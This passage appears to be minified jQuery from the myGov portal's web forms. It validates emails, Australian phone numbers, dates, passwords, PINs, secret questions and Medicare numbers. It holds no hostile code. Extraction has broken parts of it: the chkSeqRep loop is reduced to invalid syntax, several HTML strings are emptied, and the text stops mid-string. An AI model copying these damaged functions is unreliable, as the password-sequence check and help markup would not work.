valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("

"+$showpasswordhelptext+"

");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("

"+$hidepasswordhelptext+"

");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='

Note: this will visually expose your password on the screen.

';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var $mobile=$("[data-mobile-number]"),$home=$("[data-home-number]"),$work=$("[data-work-number]");$("[data-mobile-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("keyup",function(){if($(this).val()!=""){formHelper.enableDate();}else{if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-mobile-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04","p");}}else{formHelper.clearError($(this));if(($home.val()||$work.val())===""){formHelper.disableDate();}}});$("[data-home-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isHomeNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island landline phone number. Australian landline numbers contain 10 digits and begin with 02, 03, 07 or 08","p");}}else{formHelper.clearError($(this));if(($work.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-work-number]").on("blur",function(){if($(this).val()!=""){formHelper.enableDate();if(formHelper.isWorkNumberValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island phone number. Australian phone numbers contain 10 digits and begin with 02, 03, 07, 08 or 04 for mobile numbers","p");}}else{formHelper.clearError($(this));if(($home.val()||$mobile.val())===""){formHelper.disableDate();}}});$("[data-home-number], [data-work-number]").on("keyup blur",function(e){if(this.value.length>0){$(this).parent().next('[type="checkbox"]').prop("disabled",false).attr("aria-disabled",false);}else{$(this).parent().next('[type="checkbox"]').prop("disabled",true).attr("aria-disabled",true);if(e.type==="blur"){$(this).parent().next('[type="checkbox"]').prop("checked",false);}}});$("[data-home-number], [data-work-number]").trigger("keyup");};contactNumber();$("[data-showmore-hideself]").on("click",function(){$(".moreUpdates[hidden]").slice(0,10).removeAttr("hidden aria-hidden");if($(".moreUpdates[hidden]").length===0){$(this).parent().hide();}});});})(jQuery);$(document).ready(function(){$("[data-email-addr]").on("blur",function(){if(formHelper.isEmailValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}});$("[data-number-email-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"Enter the 6 digit code we sent to your email address","p");}});$("[data-number-mobile-input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"","p");}});$("[data-number-totp--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))&&(formHelper.chkValidCode($(this)))){formHelper.clearCodeError($(this));}else{formHelper.setCodeError($(this),"To continue, enter a code from the myGov Code Generator app","p");}});});$("[data-mobile-num]").on("blur",function(){if(formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid Australian or Norfolk Island mobile number. Australian mobile numbers contain 10 digits and begin with 04.","p");}});const securityCodesInfo=document.querySelector("#security-codes-info");if(securityCodesInfo){securityCodesInfo.setAttribute("hidden","true");}$("[data-infotext-toggle]").on("click",function(){const securityCodesInfo=document.querySelector("#security-codes-info");const hidden=securityCodesInfo.getAttribute("hidden");var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);if(hidden==null){securityCodesInfo.setAttribute("hidden","true");}else{securityCodesInfo.removeAttribute("hidden");}});$(":radio[data-inbox-pref]").on("change",function(){var selected=this.value;switch(selected){case"mobile":formHelper.clearError($("[data-email-addr]"));formHelper.resetDefaultValue($("[data-email-addr]"));$("[data-email-addr]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-mobile-num]").closest($("label")).removeAttr("hidden aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new 